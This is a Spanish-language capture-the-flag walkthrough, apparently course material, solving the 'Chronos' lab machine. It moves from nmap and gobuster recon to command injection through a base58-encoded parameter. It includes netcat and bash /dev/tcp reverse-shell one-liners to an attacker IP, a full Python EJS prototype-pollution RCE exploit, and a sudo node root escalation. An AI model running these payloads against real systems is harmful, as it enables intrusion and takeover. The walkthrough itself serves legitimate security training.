# Máquina Chronos
A partir de ahora usaremos esta guía que es la cheatsheet para la ejptv2 (Junior Penetration Tester), les dejo un tiempo para que le echen un vistazo y ajusten su chuleta a los procedimientos dados, verán que mucho ya les suena:
https://sezioss-gitbook.gitbook.io/ejptv2cheatsheet/
Se supone que primero exploramos la red, dejamos esa tarea libre.
Yo resumiré y haré el clásico:
nmap -sP ipred/mask
Si aún no tengo claro el objetivo:
nmap -Pn ipred/mask -oN 1.Escaneodepuertos
Ahí por los servicios abiertos ya más o menos sabré la ip del objetivo.
Para no llamar la atención
nmap -p- -T1 ipobj
(no lo hacemos así porque me tardaría mucho)
nmap -p- -T1 ipobj
vemos que está abierto un ssh un http y http-alt
Vamos a ver la versión de los servicios solo en los puertos que sé que hay servicios
nmap -sV -sC -p22,80,8000 ipobj
nmap -sV -sC -p22,80,8000 10.0.2.12 -oN 2.VersionesScripts
Comenta qué significa todo lo devuelto.
Entramos en la web y vemos que hay un código js que no vemos que se esté ejecutando y una llamada a un script loadDoc()
Por lo pronto sabemos que hay una web con js y un entorno express.js.
Vamos a analizar con dirb y gobuster, en el caso del último:
gobuster dir --url http://10.0.2.12/ --wordlist /usr/share/wordlists/dirb/common.txt
Investiga qué esta haciendo gobuster.
No parece que haya nada interesante.
Probamos con otro diccionario:
gobuster dir --url http://10.0.2.12/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Hasta menos que lo anterior
busquemos por extensiones:
gobuster dir --url http://10.0.2.12/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
Nada!
Probemos en el puerto 8000
VVemos que nos sale una carpeta /date
ç
Veamos la carpeta en el navegador, vemos que hay un script que no se ejecuta.
Vamos al navegador devtools y vamos a network y vemos que tenemos un dominio que es el que está fallando,
nano /etc/hosts

Si modificamos esto y entramos en la web veremos ahora que se ejecuta el scritp:

Sale la fecha, vamos a abrir burpsuite y a interceptar ese script:

Evidentemente se pasa un script encriptado, voy a la web de CyberChef y con el filtro "magic" intento que me averigue la codificación:

Es base58, lo que voy a hacer es buscar un payload que me haga una revershell e inyectarlo en este código:
Vamos a comprobar una nueva web que tienen muchísimos recursos para hacking ético y ciber seguridad.
https://swisskyrepo.github.io/PayloadsAllTheThings/
Probamos con netcat openbsd porque es uno de los genéricos para inyectar revershell:
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-openbsd
Ponemos nuestro kali en escucha:
nc -lvvp 4242
Codificamos y dependiendo de los datos de nuestra configuración, en mi caso mi máquina atacante es 10.0.2.15
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 4242 >/tmp/f
o '+Today is %A, %B %d, %Y %H:%M:%S.';bash -c 'bash -i >& /dev/tcp/10.0.2.5/8020 0>&1'
Lo ponemos a codificar a base58:

HPLJbWYMFkC6pEwu8UJYwiNkXX1DfpNRvhc1LqEcNAEJq5koW4dhK4MwdtP9tnZZZq7RUoX72yyBQxexjFrZYCQFpnmFd5nkbKDMhoG8tLeH
Ponemos el código a filtrar y le damos a forward para ver si funciona la shell:

Ha funcionado sin problemas, hago un whoami y ahora nos quedaría hacer escalada de privilegios:

##Escalada de privilegios
Lo primero es pasar a una terminal normal a una interactiva que nos permita trabajar mejor.
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
Vamos a intentarlo en python. Compruebo si tengo instalado el python:
which python
En este caso veremos que está instalado así que:
python3 -c 'import pty;pty.spawn("/bin/bash");'
Vemos que ahora sí tenemos una shell interactiva y cómoda para trabajar.

Después exportamos la terminal para poder hacerla totalmente funcional:
export TERM=xterm
Ahora ya podríamos seguir todos los pasos de la escalada de privilegios:
https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
Cómo ves eso es demasiado para comprobar por lo que en general usaremos los materiales de la certificación o el resumen del libro de Hacking ético subido al campus:
https://sezioss-gitbook.gitbook.io/ejptv2cheatsheet/extra-but-important/privesc
En este caso lo primero que haremos será mirar el contenido de nuestra carpeta y ver qué usuario tenemos
Miramos el código de app.js y vemos que es la aplicación que se ejecuta y que muestra el reloj.
Podemos ver el package.json y veremos cosas interesantes como la versión del express que se usa (de hecho no lo haremos así pero hay otra solución que explota esta versión concreta de express)
Así que vamos a mirar si podemos movernos de carpeta con este usuario.
Vemos que sí y que en /home tenemos un usuario imera, entramos en esa carpeta y vemos un archivo user.txt

Pero si intentamos leerlo no tenemos permiso.
Tenemos que elevar privilegios así que seguimos explorando, vamos a la carpeta del servidor web.
En principio nada intereante.
Comprobamos los servicios:
netstat -lnt
y vemos que hay un segundo servidor ejecutándose en esta máquina:

Los servidores normalmente se guardan en la carpeta opt así que vamos y efectivamente, hay dos servidores:

Entramos al servidor y vemos que hay un frontend y un backend, entramos al backend que suele ser el más interesante y aquí al entrar al packaje.json vemos que hay un:

Vamos al kali y buscamos si esta versión que nos permite subir ficheros al servidor es vulnerable.
Naaa...en principio nadita

Pero no desistimos y buscamos en google.

Parece que hay uno:
https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325
Copiamos el código en un fichero exploit.py en la carpeta donde estemos haciendo el análisis y lo modificamos para que ejecute código en el servidor conéctándose a la máquina atacante.
```
##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
#
# Timothy, 10 November 2020
##############################################################
### imports
import requests
### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/10.0.2.15/8020 0>&1"'
print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")
```
Tenemos que pasar este fichero a la máquina víctima.
En nuestro kali montamos un pequeño server con python:
python3 -m http.server 8080

No da este error y es porque tenemos ejecutándoseel burpsuite en el mismo puerto! lo paramos y ya tira.

En la víctima nos movemos a tmp que es una carpeta en la que usualmente no vamos a tener problemas de permisos.
www-data@chronos:/tmp$ wget http://10.0.2.15:8080/exploit.py

Tenemos que intentar dar permisos de ejecución:
chmod 777 exploit.py
Por suerte nos ha dejado sin problemas.
En el kali abro una nueva conexión al puerto indicado:
nc -lvvp 8020
Ejecutamos en la víctima el exploit:
python3 exploit.py
Vemos que ha funcionado y que tenemos sesión con el usuario imera

Vamos a la carpeta del usuario a ver si ahora podemos leer el archivo user.txt
y efectivamente.

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
Imera no es root. así que hacemos
sudo -l

Vemos que imera tiene permisos de ususario para ejecutar node:
Nos vamos a gtfobins y buscamos un script de sudo con node
https://gtfobins.github.io/gtfobins/node/#sudo
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
Nos vamos a la carpeta root y encontramos la segunda bandera:
